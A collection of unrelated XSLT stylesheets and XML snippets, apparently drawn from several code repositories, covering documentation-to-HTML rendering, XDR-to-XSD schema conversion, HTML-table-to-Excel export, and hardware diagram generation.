id="{@id}"> <xsl:apply-templates/> </ul> </xsl:otherwise> </xsl:choose> </xsl:template> <xsl:template match="hindex_short"> </xsl:template> <xsl:template match="hindex_name"> </xsl:template> <xsl:template match="short"> <p><xsl:apply-templates/></p> </xsl:template> <xsl:template match="srclink"> <a href="{@file}" class="srclink" title="Find-Tag in Emacs"> <xsl:apply-templates/> </a> </xsl:template> <xsl:template match="code"> <pre class="code"><xsl:apply-templates/></pre> </xsl:template> <xsl:template match="box"> <div class="box"><xsl:apply-templates/></div> </xsl:template> <xsl:template match="p"> <p><xsl:apply-templates/></p> </xsl:template> <xsl:template match="blockquote"> <blockquote><xsl:apply-templates/></blockquote> </xsl:template> <xsl:template match="br"> <xsl:apply-templates/><br/> </xsl:template> <xsl:template match="a"> <a href="{@href}"> <xsl:value-of select="."/> </a> </xsl:template> <xsl:template match="img"> <img src="{@src}"/> </xsl:template> <xsl:template match="b"> <b><xsl:apply-templates/></b> </xsl:template> <xsl:template match="i"> <i><xsl:apply-templates/></i> </xsl:template> <xsl:template match="color"> <font color="{@rgb}"><xsl:apply-templates/></font> </xsl:template> <xsl:template match="sf"> <span class="sf"><xsl:apply-templates/></span> </xsl:template> <xsl:template match="u"> <u><xsl:apply-templates/></u> </xsl:template> <xsl:template match="tt"> <span class="tt"><xsl:apply-templates/></span> </xsl:template> <xsl:template match="ul"> <ul><xsl:apply-templates/></ul> </xsl:template> <xsl:template match="ol"> <ol><xsl:apply-templates/></ol> </xsl:template> <xsl:template match="li"> <li><xsl:apply-templates/></li> </xsl:template> <xsl:template match="dl"> <dl><xsl:apply-templates/></dl> </xsl:template> <xsl:template match="dt"> <dt><xsl:apply-templates/></dt> </xsl:template> <xsl:template match="dd"> <dd><xsl:apply-templates/></dd> </xsl:template> <xsl:template match="h1"> <h1><xsl:apply-templates/></h1> </xsl:template> <xsl:template match="h2"> <h2><xsl:apply-templates/></h2> </xsl:template> <xsl:template match="h3"> <h3><xsl:apply-templates/></h3> </xsl:template> <xsl:template match="h4"> <h4><xsl:apply-templates/></h4> </xsl:template> <xsl:template match="h5"> <h5><xsl:apply-templates/></h5> </xsl:template> <!-- Extra stuff for Symbolic Test Vectors at Centaur --> <xsl:template match="stv"> <table class="stv" cellspacing="0" cellpadding="2"><xsl:apply-templates/></table> </xsl:template> <xsl:template match="stv_labels"> <tr class="stv_labels"><xsl:apply-templates/></tr> </xsl:template> <xsl:template match="stv_inputs"> <xsl:for-each select="stv_line"> <tr class="stv_input_line"><xsl:apply-templates/></tr> </xsl:for-each> </xsl:template> <xsl:template match="stv_outputs"> <xsl:for-each select="stv_line"> <tr class="stv_output_line"><xsl:apply-templates/></tr> </xsl:for-each> </xsl:template> <xsl:template match="stv_internals"> <xsl:for-each select="stv_line"> <tr class="stv_internal_line"><xsl:apply-templates/></tr> </xsl:for-each> </xsl:template> <xsl:template match="stv_initials"> <xsl:for-each select="stv_line"> <tr class="stv_initial_line"><xsl:apply-templates/></tr> </xsl:for-each> </xsl:template> <xsl:template match="stv_name"> <th class="stv_name"><xsl:apply-templates/></th> </xsl:template> <xsl:template match="stv_entry"> <td class="stv_entry"><xsl:apply-templates/></td> </xsl:template> <xsl:template match="stv_label"> <th class="stv_label"><xsl:apply-templates/></th> </xsl:template> </xsl:stylesheet>
<reponame>npocmaka/Windows-Server-2003 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0" xmlns="http://www.w3.org/1999/XMLSchema" xmlns:xdr = "urn:schemas-microsoft-com:xml-data" xmlns:s = "namespace-for-this-schema" xmlns:dt = "urn:schemas-microsoft-com:datatypes" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:local="#local-functions"> <xsl:output method="xml" omit-xml-declaration="yes" indent="yes"/> <xsl:template match="node()"/> <!-- document converion template --> <xsl:template match="/"> <xsl:comment> [XDR-XDS] This schema automatically updated from an IE5-compatible XDR schema to W3C XML Schema. </xsl:comment> <xsl:text disable-output-escaping="yes"><![CDATA[ <!DOCTYPE schema SYSTEM "xsd.dtd"> ]]></xsl:text> <xsl:apply-templates select="@*|node()"/> </xsl:template> <xsl:template match="xdr:Schema"> <schema version="1.0"> <xsl:if test="@name"> <annotation> <documentation>Schema name: <xsl:value-of select="@name"/></documentation> </annotation> </xsl:if> <xsl:if test="*[not(self::xdr:*)]"> <annotation> <xsl:for-each select="*[not(self::xdr:*)]"> <appinfo> <xsl:copy-of select="."/> </appinfo> </xsl:for-each> </annotation> </xsl:if> <!-- BUGBUG not completed yet <xsl:for-each select=".//s:attribute[contains(@type,':')] | .//s:element[contains(@type,':')]"> <import schemaLocation="{@type}"/> </xsl:for-each> --> <xsl:apply-templates select="node()"> <xsl:sort select="not(self::xdr:description)"/> </xsl:apply-templates> <xsl:comment> XDR datatype derivations </xsl:comment> <xsl:if test="//@dt:type='fixed.14.4'"> <simpleType name="fixed.14.4" base="decimal"> <scale value="4"/> <minInclusive value="-922337203685477.5808"/> <maxInclusive value="922337203685477.5807"/> </simpleType> </xsl:if> <xsl:if test="//@dt:type='bin.base64'"> <simpleType name="bin.base64" base="binary" > <encoding value="base64"/> <!---data encoded in Base64 notation --> </simpleType> </xsl:if> <xsl:if test="//@dt:type='bin.hex'"> <simpleType name="bin.hex" base="binary" > <encoding value="hex"/> </simpleType> </xsl:if> <xsl:if test="//@dt:type='boolean'"> <simpleType name="ISOBoolean" base="boolean"> <enumeration value="0"/> <!--False --> <enumeration value="1"/> <!--True --> </simpleType> </xsl:if> <xsl:if test="//@dt:type='char'"> <simpleType name="char" base="string"> <length value="1"/> </simpleType> </xsl:if> <xsl:if test="//@dt:type='i1'"> <simpleType name="i1" base="integer"> <minInclusive value="-128"/> <maxInclusive value="127"/> </simpleType> </xsl:if> <xsl:if test="//@dt:type='i2'"> <simpleType name="i2" base="integer"> <minInclusive value="-32768"/> <maxInclusive value="32767"/> </simpleType> </xsl:if> <xsl:if test="//@dt:type='i4'"> <simpleType name="i4" base="integer"> <minInclusive value="-2147483648"/> <maxInclusive value="2147483647"/> </simpleType> </xsl:if> <xsl:if test="//@dt:type='i8'"> <simpleType name="i8" base="integer"> <minInclusive value="-9223372036854775808"/> <maxInclusive value="9223372036854775807"/> </simpleType> </xsl:if> <xsl:if test="//@dt:type='ui1'"> <simpleType name="ui1" base="non-negative-integer"> <minInclusive value="0"/> <maxInclusive value="255"/> </simpleType> </xsl:if> <xsl:if test="//@dt:type='ui2'"> <simpleType name="ui2" base="non-negative-integer"> <minInclusive value="0"/> <maxInclusive value="65535"/> </simpleType> </xsl:if> <xsl:if test="//@dt:type='ui4'"> <simpleType name="ui4" base="non-negative-integer"> <minInclusive value="0"/> <maxInclusive value="4294967295"/> </simpleType> </xsl:if> <xsl:if test="//@dt:type='ui8'"> <simpleType name="ui8" base="non-negative-integer"> <minInclusive value="0"/> <maxInclusive value="18446744073709551615"/> </simpleType> </xsl:if> <xsl:if test="//@dt:type='r4'"> <simpleType name="r4" base="float"> <minInclusive value="-3.40282347E+38" /> <maxInclusive value="3.40282347E+38" /> </simpleType> </xsl:if> <xsl:if test="//@dt:type='date'"> <simpleType name="date" base="timeInstant"> <pattern value="\d*-\d\d-\d\d"/> <!---CCYY-MM-DD --> </simpleType> </xsl:if> <xsl:if test="//@dt:type='dateTime'"> <simpleType name="dateTime" base="timeInstant"> <pattern value="\d*-\d\d-\d\dT\d\d:\d\d(:\d\d(\.\d{{0,9}})?)?"/> <!---CCYY-MM-DDTHH:MM:SS.fffffffff Note no time zone. --> </simpleType> </xsl:if> <xsl:if test="//@dt:type='dateTime.tz'"> <simpleType name="dateTime.tz" base="timeInstant"> <pattern value="\d*-\d\d-\d\dT\d\d:\d\d(:\d\d(\.\d{{0,9}})?)?(\+|-)\d\d:\d\d"/> <!---CCYY-MM-DDTHH:MM:SS.fffffffff+HH:MM Note required time zone.--> </simpleType> </xsl:if> <xsl:if test="//@dt:type='time'"> <simpleType name="time" base="timeInstant"> <pattern value="\d\d:\d\d(:\d\d)?"/> <!---HH:MM:SS Note no time zone. --> </simpleType> </xsl:if> <xsl:if test="//@dt:type='time.tz'"> <simpleType name="time.tz" base="timeInstant"> <pattern value="\d\d:\d\d(:\d\d)?(\+|-)\d\d:\d\d"/> <!---HH:MM:SS+HH:MM Note required time zone --> </simpleType> </xsl:if> <xsl:if test="//@dt:type='Number'"> <simpleType name="Number" base="string"> <pattern value="(\+|-)?\d*(\.\d*)?((e|E)(\+|-)\d+)?" /> <!--contentValues> <value>-Inf</value> <value>Inf</value> <value>*</value> </contentValues--> </simpleType> </xsl:if> <xsl:if test="//@dt:type='uuid'"> <simpleType name="uuid" base="string"> <pattern value="[0-9A-F]{{8}}\-?[0-9A-F]{{4}}\-?[0-9A-F]{{4}}\-?[0-9A-F]{{4}}\-?[0-9A-F]{{12}}"/> </simpleType> </xsl:if> </schema> </xsl:template> <!-- element conversion templates --> <xsl:template match="*" mode="ElementTypeContent"> <xsl:apply-templates select="xdr:description"/> <xsl:apply-templates select="xdr:element | xdr:group"/> </xsl:template> <xsl:template match="xdr:ElementType[*]"> <element name="{@name}"> <xsl:if test="*[not(self::xdr:*)]"> <annotation> <xsl:for-each select="*[not(self::xdr:*)]"> <appinfo><xsl:copy-of select="."/></appinfo> </xsl:for-each> </annotation> </xsl:if> <complexType> <xsl:choose> <xsl:when test="@content='textOnly' or @content='empty' or @content='mixed'"> <xsl:apply-templates select="@content"/> <xsl:if test="@context='mixed' and (@order='one' or @order='seq')"> <xsl:comment> ****Warning!**** Original schema illegally combined content="mixed" and @order="<xsl:value-of select="@order"/>". Treating this as order='many' instead. </xsl:comment> </xsl:if> <xsl:apply-templates select="." mode="ElementTypeContent"/> </xsl:when> <xsl:when test="@content='eltOnly'"> <xsl:apply-templates select="@content"/> <xsl:choose> <xsl:when test="@order='one'"> <choice> <xsl:apply-templates select="." mode="ElementTypeContent"/> </choice> </xsl:when> <xsl:when test="@order='seq'"> <sequence> <xsl:apply-templates select="." mode="ElementTypeContent"/> </sequence> </xsl:when> <xsl:when test="@order='many'"> <choice minOccurs="0" maxOccurs="*"> <xsl:apply-templates select="." mode="ElementTypeContent"/> </choice> </xsl:when> <xsl:otherwise> <sequence> <xsl:apply-templates select="." mode="ElementTypeContent"/> </sequence> </xsl:otherwise> </xsl:choose> </xsl:when> <xsl:when test="@order='one'"> <xsl:attribute name="content">elementOnly</xsl:attribute> <choice> <xsl:apply-templates select="." mode="ElementTypeContent"/> </choice> </xsl:when> <xsl:when test="@order='seq'"> <xsl:attribute name="content">elementOnly</xsl:attribute> <sequence> <xsl:apply-templates select="." mode="ElementTypeContent"/> </sequence> </xsl:when> <xsl:otherwise> <xsl:attribute name="content">mixed</xsl:attribute> <xsl:apply-templates select="." mode="ElementTypeContent"/> </xsl:otherwise> </xsl:choose> <xsl:if test="not(@model='closed')"> <any namespace="##other"/> </xsl:if> <xsl:apply-templates select="node()[not(self::xdr:element or self::xdr:group or self::xdr:description or self::xdr:datatype)]"/> </complexType> </element> </xsl:template> <xsl:template match="xdr:ElementType"> <element name="{@name}"> <xsl:choose> <xsl:when test="@dt:type"> <xsl:apply-templates select="@dt:type"/> </xsl:when> <xsl:otherwise> <xsl:attribute name="type">string</xsl:attribute> </xsl:otherwise> </xsl:choose> <xsl:if test="node()"><xsl:apply-templates/></xsl:if> </element> </xsl:template> <xsl:template match="xdr:element"> <element ref="{@type}"> <xsl:apply-templates select="@minOccurs | @maxOccurs"/> <xsl:if test="*[not(self::xdr:*)]"> <annotation> <xsl:for-each select="*[not(self::xdr:*)]"> <appinfo><xsl:copy-of select="."/></appinfo> </xsl:for-each> </annotation> </xsl:if> </element> </xsl:template> <xsl:template match="xdr:AttributeType"/> <xsl:template match="xdr:attribute"> <attribute name="{@type}"> <xsl:variable name="definition" select="ancestor::*[xdr:AttributeType/@name = current()/@type][1]/xdr:AttributeType[@name = current()/@type]"/> <xsl:choose> <xsl:when test="@default"><xsl:apply-templates select="@default"/></xsl:when> <xsl:otherwise><xsl:apply-templates select="$definition/@default"/></xsl:otherwise> </xsl:choose> <xsl:choose> <xsl:when test="@required"><xsl:apply-templates select="@required"/></xsl:when> <xsl:otherwise><xsl:apply-templates select="$definition/@required"/></xsl:otherwise> </xsl:choose> <xsl:apply-templates select="$definition/@dt:type | $definition/xdr:datatype"/> <!-- description and annotations --> <xsl:if test="$definition/*[not(self::xdr:*)] | $definition/xdr:description"> <annotation> <xsl:for-each select="$definition/xdr:description"> <documentation><xsl:copy-of select="node()"/></documentation> </xsl:for-each> <xsl:for-each select="$definition/*[not(self::xdr:*)]"> <appinfo><xsl:copy-of select="."/></appinfo> </xsl:for-each> </annotation> </xsl:if> </attribute> </xsl:template> <xsl:template match="xdr:description"/> <xsl:template match="xdr:description[1]"> <annotation> <!-- collect multiple descriptions into a single annotation --> <xsl:for-each select="../xdr:description"> <documentation><xsl:copy-of select="node()"/></documentation> </xsl:for-each> </annotation> </xsl:template> <xsl:template match="xdr:group"> <xsl:variable name="inherited-order"> <xsl:choose> <xsl:when test="ancestor-or-self::group[@order]"> <xsl:value-of select="ancestor-or-self::group[@order]/@order"/> </xsl:when> <xsl:when test="ancestor::xdr:ElementType[@order]"> <xsl:value-of select="ancestor::xdr:ElementType[@order]/@order"/> </xsl:when> <xsl:when test="ancestor::xdr:ElementType/@content='eltOnly'">seq</xsl:when> <xsl:otherwise>many</xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:variable name="group-name"> <xsl:choose> <xsl:when test="$inherited-order='one'">choice</xsl:when> <xsl:when test="$inherited-order='seq'">sequence</xsl:when> <xsl:when test="$inherited-order='many'">choice</xsl:when> </xsl:choose> </xsl:variable> <xsl:element name="{$group-name}"> <xsl:choose> <xsl:when test="$group-name='many'"> <xsl:attribute name="minOccurs">0</xsl:attribute> <xsl:attribute name="maxOccurs">*</xsl:attribute> </xsl:when> <xsl:otherwise> <xsl:apply-templates select="@minOccurs | @maxOccurs"/> </xsl:otherwise> </xsl:choose> <xsl:if test="*[not(self::xdr:*)] | xdr:description"> <annotation> <xsl:for-each select="xdr:description"> <documentation><xsl:copy-of select="node()"/></documentation> </xsl:for-each> <xsl:for-each select="*[not(self::xdr:*)]"> <appinfo><xsl:copy-of select="."/></appinfo> </xsl:for-each> </annotation> </xsl:if> <xsl:apply-templates select="xdr:*[not(self::xdr:description)]"/> </xsl:element> </xsl:template> <!-- attribute conversion templates --> <xsl:template match="@*"/> <xsl:template match="@content"> <xsl:attribute name="content"><xsl:value-of select="."/></xsl:attribute> </xsl:template> <xsl:template match="@content[.='eltOnly']"> <xsl:attribute name="content">elementOnly</xsl:attribute> </xsl:template> <xsl:template match="@minOccurs | @maxOccurs"> <xsl:copy><xsl:value-of select="."/></xsl:copy> </xsl:template> <xsl:template match="@default"> <xsl:attribute name="fixed"><xsl:value-of select="."/></xsl:attribute> </xsl:template> <xsl:template match="@required[.='yes']"> <xsl:attribute name="minOccurs">1</xsl:attribute> </xsl:template> <!-- Data type attribute/element conversions --> <xsl:template match="@dt:type"> <xsl:attribute name="type"><xsl:value-of select="."/></xsl:attribute> </xsl:template> <xsl:template match="xdr:datatype"> <xsl:attribute name="type"><xsl:value-of select="@dt:type"/></xsl:attribute> </xsl:template> <xsl:template match="@dt:type[.='id'] | xdr:datatype[@dt:type='id']"> <xsl:attribute name="type">ID</xsl:attribute> </xsl:template> <xsl:template match="@dt:type[.='idref'] | xdr:datatype[@dt:type='idref']"> <xsl:attribute name="type">IDREF</xsl:attribute> </xsl:template> <xsl:template match="@dt:type[.='idrefs'] | xdr:datatype[@dt:type='idrefs']"> <xsl:attribute name="type">IDREFS</xsl:attribute> </xsl:template> <xsl:template match="@dt:type[.='entity'] | xdr:datatype[@dt:type='entity']"> <xsl:attribute name="type">ENTITY</xsl:attribute> </xsl:template> <xsl:template match="@dt:type[.='entities'] | xdr:datatype[@dt:type='entities']"> <xsl:attribute name="type">ENTITIES</xsl:attribute> </xsl:template> <xsl:template match="@dt:type[.='nmtoken'] | xdr:datatype[@dt:type='nmtoken']"> <xsl:attribute name="type">NMTOKEN</xsl:attribute> </xsl:template> <xsl:template match="@dt:type[.='nmtokens'] | xdr:datatype[@dt:type='nmtokens']"> <xsl:attribute name="type">NMTOKENS</xsl:attribute> </xsl:template> <xsl:template match="@dt:type[.='notation'] | xdr:datatype[@dt:type='notation']"> <xsl:attribute name="type">NOTATION</xsl:attribute> </xsl:template> <xsl:template match="@dt:type[.='int'] | xdr:datatype[@dt:type='int']"> <xsl:attribute name="type">integer</xsl:attribute> </xsl:template> <xsl:template match="@dt:type[.='r8'] | xdr:datatype[@dt:type='r8']"> <xsl:attribute name="type">double</xsl:attribute> </xsl:template> <xsl:template match="@dt:type[.='boolean'] | xdr:datatype[@dt:type='boolean']"> <xsl:attribute name="type">ISOBoolean</xsl:attribute> </xsl:template> <xsl:template match="@dt:type[.='enumeration']"> <simpleType base="NMTOKEN"> <xsl:value-of select="local:formatEnum(string(../@dt:values))" disable-output-escaping="yes"/> </simpleType> </xsl:template> <xsl:template match="xdr:datatype[@dt:type='enumeration']"> <simpleType base="NMTOKEN"> <xsl:value-of select="local:formatEnum(string(@dt:values))" disable-output-escaping="yes"/> </simpleType> </xsl:template> <msxsl:script language="JScript" implements-prefix="local"><![CDATA[ function formatEnum(e) { // trim trailing spaces while (e.charAt(e.length - 1) == " ") e = e.substring(0, e.length - 1); var re = new RegExp("\\s+", "g"); e = e.replace(re, "'/> <enumeration value='"); return "<enumeration value='" + e + "'/>\n"; } ]]></msxsl:script> </xsl:stylesheet>
<xsl:template name="hanoi"> <xsl:param name="n"/> <xsl:param name="from">left</xsl:param> <xsl:param name="to">middle</xsl:param> <xsl:param name="via">right</xsl:param> <xsl:if test="$n &gt; 0"> <xsl:call-template name="hanoi"> <xsl:with-param name="n" select="$n - 1"/> <xsl:with-param name="from" select="$from"/> <xsl:with-param name="to" select="$via"/> <xsl:with-param name="via" select="$to"/> </xsl:call-template> <fo:block> <xsl:text>Move disk from </xsl:text> <xsl:value-of select="$from"/> <xsl:text> to </xsl:text> <xsl:value-of select="$to"/> </fo:block> <xsl:call-template name="hanoi"> <xsl:with-param name="n" select="$n - 1"/> <xsl:with-param name="from" select="$via"/> <xsl:with-param name="to" select="$to"/> <xsl:with-param name="via" select="$from"/> </xsl:call-template> </xsl:if> </xsl:template>
<gh_stars>0 <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="text"/> <xsl:variable name="lowercase" select="'abcdefghijklmnopqrstuvwxyz'" /> <xsl:variable name="uppercase" select="'ABCDEFGHIJKLMNOPQRSTUVWXYZ'" /> <xsl:key name="nodes" match="*" use="translate(name(),'abcdefghijklmnopqrstuvwxyz','ABCDEFGHIJKLMNOPQRSTUVWXYZ')"/> <xsl:template match="/"> <xsl:for-each select="//*[generate-id()=generate-id(key('nodes',translate(name(),$lowercase,$uppercase))[1])]"> <xsl:sort select="name()"/> <xsl:value-of select="name()"/> <xsl:text>,</xsl:text> <xsl:value-of select="count(key('nodes',translate(name(),$lowercase,$uppercase)))"/> <xsl:text>&#10;</xsl:text> </xsl:for-each> </xsl:template> </xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?> <!-- Copyright (c) 2013 by the author(s) Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Author(s): <NAME> <<EMAIL>> --> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:optimsoc="http://www.optimsoc.org/xmlns/optimsoc-system" xmlns="http://www.optimsoc.org/xmlns/optimsoc-system" xmlns:svg="http://www.w3.org/2000/svg"> <xsl:output method="xml" indent="yes" encoding="utf-8"/> <xsl:include href="mesh-to-svg.xsl"/> <xsl:template match="/"> <xsl:apply-templates select="//optimsoc:layout"/> </xsl:template> <!-- Autogenerate NoC layout for known NoC types --> <xsl:template match="optimsoc:layout[@autogen]"> <xsl:if test="/optimsoc:system/optimsoc:meshnoc"> <xsl:call-template name="svg-mesh"/> </xsl:if> </xsl:template> </xsl:stylesheet>
<gh_stars>0 <xsl:stylesheet version="1.0" xmlns="urn:schemas-microsoft-com:office:spreadsheet" xmlns:xhtml="https://www.w3.org/1999/xhtml" xmlns:xsl="https://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet"> <xsl:output method="xml" indent="yes" omit-xml-declaration="no" media-type="application/xml"/> <xsl:template match="/"> <xsl:processing-instruction name="mso-application"> <xsl:text>progid="Excel.Sheet"</xsl:text> </xsl:processing-instruction> <Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" xmlns:html="https://www.w3.org/TR/REC-html40"> <Styles> <Style ss:ID="Default" ss:Name="Normal"> <Alignment ss:Vertical="Bottom"/> <Borders/> <Font/> <Interior/> <NumberFormat/> <Protection/> </Style> <Style ss:ID="s21"> <Font ss:Bold="1"/> <Alignment ss:Horizontal="Center" ss:Vertical="Bottom"/> </Style> <Style ss:ID="s22"> <Alignment ss:Horizontal="Left" ss:Vertical="Bottom"/> <Font ss:Bold="1"/> <Interior ss:Color="#99CCFF" ss:Pattern="Solid"/> </Style> <Style ss:ID="s23" ss:Name="Currency"> <NumberFormat ss:Format="_(&quot;$&quot;* #,##0.00_);_(&quot;$&quot;* \(#,##0.00\);_(&quot;$&quot;* &quot;-&quot;??_);_(@_)"/> </Style> <Style ss:ID="s24"> <NumberFormat ss:Format="_(* #,##0.00_);_(* \(#,##0.00\);_(* &quot;-&quot;??_);_(@_)"/> </Style> <Style ss:ID="s25"> <Alignment ss:Horizontal="Center" ss:Vertical="Bottom"/> </Style> </Styles> <xsl:apply-templates mode="top"/> </Workbook> </xsl:template> <xsl:template match="*" mode="top"> <xsl:choose> <xsl:when test="xhtml:table[@class='ricoSimpleGrid']"> <xsl:apply-templates mode="grid"/> </xsl:when> <xsl:otherwise> <xsl:apply-templates select="*" mode="top"/> </xsl:otherwise> </xsl:choose> </xsl:template> <xsl:template match="*" mode="grid"> <xsl:choose> <xsl:when test="xhtml:thead"> <xsl:call-template name="processTable"> <xsl:with-param name="id" select="@id"/> <xsl:with-param name="headRows" select="xhtml:thead/xhtml:tr"/> <xsl:with-param name="bodyRows" select="xhtml:tbody/xhtml:tr"/> </xsl:call-template> </xsl:when> <xsl:when test="xhtml:tbody"> <xsl:call-template name="processTable"> <xsl:with-param name="id" select="@id"/> <xsl:with-param name="headRows" select="xhtml:tbody/xhtml:tr[1]"/> <xsl:with-param name="bodyRows" select="xhtml:tbody/xhtml:tr[position() &gt; 1]"/> </xsl:call-template> </xsl:when> <xsl:otherwise> <xsl:call-template name="processTable"> <xsl:with-param name="id" select="@id"/> <xsl:with-param name="headRows" select="xhtml:tr[1]"/> <xsl:with-param name="bodyRows" select="xhtml:tr[position() &gt; 1]"/> </xsl:call-template> </xsl:otherwise> </xsl:choose> </xsl:template> <!-- Perform the actual table transformation --> <xsl:template name="processTable"> <xsl:param name="id" /> <xsl:param name="headRows" /> <xsl:param name="bodyRows" /> <Worksheet> <xsl:attribute name="ss:Name"> <xsl:value-of select='$id'/> </xsl:attribute> <Table> <xsl:apply-templates select="$headRows" mode="convertHeadRow"/> <xsl:apply-templates select="$bodyRows" mode="convertBodyRow"/> </Table> </Worksheet> </xsl:template> <xsl:template match="*" mode="convertHeadRow"> <Row> <xsl:apply-templates select="xhtml:td | xhtml:th" mode="convertHeadCell"/> </Row> </xsl:template> <xsl:template match="*" mode="convertHeadCell"> <xsl:element name="Cell"> <xsl:attribute name="ss:StyleID">s22</xsl:attribute> <xsl:if test="@colspan"> <xsl:attribute name="ss:MergeAcross"><xsl:value-of select="number(@colspan)-1"/></xsl:attribute> </xsl:if> <Data ss:Type="String"> <xsl:value-of select="."/> </Data> </xsl:element> </xsl:template> <xsl:template match="*" mode="convertBodyRow"> <Row> <xsl:apply-templates select="xhtml:td | xhtml:th" mode="convertBodyCell"/> </Row> </xsl:template> <xsl:template match="*" mode="convertBodyCell"> <Cell><Data ss:Type="String"><xsl:value-of select="."/></Data></Cell> </xsl:template> </xsl:stylesheet>
<tt> <knight> <square file="1" rank="1" /> <square file="2" rank="3" /> <square file="1" rank="5" /> ... etc for 64 squares. </knight> </tt>
<t> <s>a</s> <s>bb</s> <s>ccc</s> <s>ddd</s> <s>ee</s> <s>f</s> <s>ggg</s> </t>
<?xml version="1.0"?> <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl"> <xsl:template match="/"> <TABLE STYLE="border:1px solid black"> <TR STYLE="font-size:12pt; font-family:Verdana; font-weight:bold; text-decoration:underline"> <TD>Name</TD> </TR> <xsl:for-each select="//CLASSNAME"> <TR STYLE="font-family:Verdana; font-size:12pt; padding:0px 6px"> <TD><xsl:value-of select="@NAME"/></TD> </TR> </xsl:for-each> </TABLE> </xsl:template> </xsl:stylesheet>
<gh_stars>1-10 <point x="20" y="30"/> <!-- context is a point node. The '@' prefix selects named attributes of the current node. --> <fo:block>Point = <xsl:value-of select="@x"/>, <xsl:value-of select="@y"/></fo:block>
<reponame>eugenecartwright/hthreads<filename>src/platforms/xilinx/pr_6smp/design/__xps/.dswkshop/MdtSvgDiag_Globals.xsl<gh_stars>1-10 <?xml version="1.0" standalone="no"?> <xsl:stylesheet version="1.0" xmlns:svg="http://www.w3.org/2000/svg" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" xmlns:xlink="http://www.w3.org/1999/xlink"> <xsl:variable name="G_BIFTYPES"> <BIFTYPE TYPE="SLAVE"/> <BIFTYPE TYPE="MASTER"/> <BIFTYPE TYPE="MASTER_SLAVE"/> <BIFTYPE TYPE="TARGET"/> <BIFTYPE TYPE="INITIATOR"/> <BIFTYPE TYPE="MONITOR"/> <BIFTYPE TYPE="USER"/> <BIFTYPE TYPE="TRANSPARENT"/> </xsl:variable> <xsl:variable name="G_BIFTYPES_NUMOF" select="count(exsl:node-set($G_BIFTYPES)/BIFTYPE)"/> <xsl:variable name="G_IFTYPES"> <IFTYPE TYPE="SLAVE"/> <IFTYPE TYPE="MASTER"/> <IFTYPE TYPE="MASTER_SLAVE"/> <IFTYPE TYPE="TARGET"/> <IFTYPE TYPE="INITIATOR"/> <IFTYPE TYPE="MONITOR"/> <IFTYPE TYPE="USER"/> <!-- <IFTYPE TYPE="TRANSPARENT"/> --> </xsl:variable> <xsl:variable name="G_IFTYPES_NUMOF" select="count(exsl:node-set($G_IFTYPES)/IFTYPE)"/> <xsl:variable name="G_BUSSTDS"> <BUSSTD NAME="AXI"/> <BUSSTD NAME="XIL"/> <BUSSTD NAME="OCM"/> <BUSSTD NAME="OPB"/> <BUSSTD NAME="LMB"/> <BUSSTD NAME="FSL"/> <BUSSTD NAME="DCR"/> <BUSSTD NAME="FCB"/> <BUSSTD NAME="PLB"/> <BUSSTD NAME="PLB34"/> <BUSSTD NAME="PLBV46"/> <BUSSTD NAME="PLBV46_P2P"/> <BUSSTD NAME="USER"/> <BUSSTD NAME="KEY"/> </xsl:variable> <xsl:variable name="G_BUSSTDS_NUMOF" select="count(exsl:node-set($G_BUSSTDS)/BUSSTD)"/> </xsl:stylesheet>
<reponame>SoCdesign/audiomixer <?xml version="1.0" standalone="no"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" xmlns:dyn="http://exslt.org/dynamic" xmlns:math="http://exslt.org/math" xmlns:xlink="http://www.w3.org/1999/xlink" extension-element-prefixes="math dyn exsl xlink"> <!-- <xsl:output method="xml" version="1.0" encoding="UTF-8" indent="yes" doctype-public="-//W3C//DTD SVG 1.0//EN" doctype-system="http://www.w3.org/TR/SVG/DTD/svg10.dtd"/> --> <!-- ======================= DEF BLOCK =================================== --> <xsl:template name="Define_ConnectedBifTypes"> <xsl:for-each select="exsl:node-set($COL_BUSSTDS)/BUSCOLOR"> <xsl:variable name="busStd_" select="@BUSSTD"/> <xsl:variable name="psfStd_" select="@BUSSTD_PSF"/> <xsl:for-each select="$G_SYS_MODS"> <xsl:variable name="bif_by_busStd_" select="key('G_MAP_ALL_BIFS',$busStd_)[((@IS_INSTANTIATED = 'TRUE') or (@IS_INMHS = 'TRUE'))]"/> <xsl:variable name="num_of_busStd_" select="count($bif_by_busStd_)"/> <xsl:variable name="bif_by_psfStd_" select="key('G_MAP_ALL_BIFS',$psfStd_)[((@IS_INSTANTIATED = 'TRUE') or (@IS_INMHS = 'TRUE'))]"/> <xsl:variable 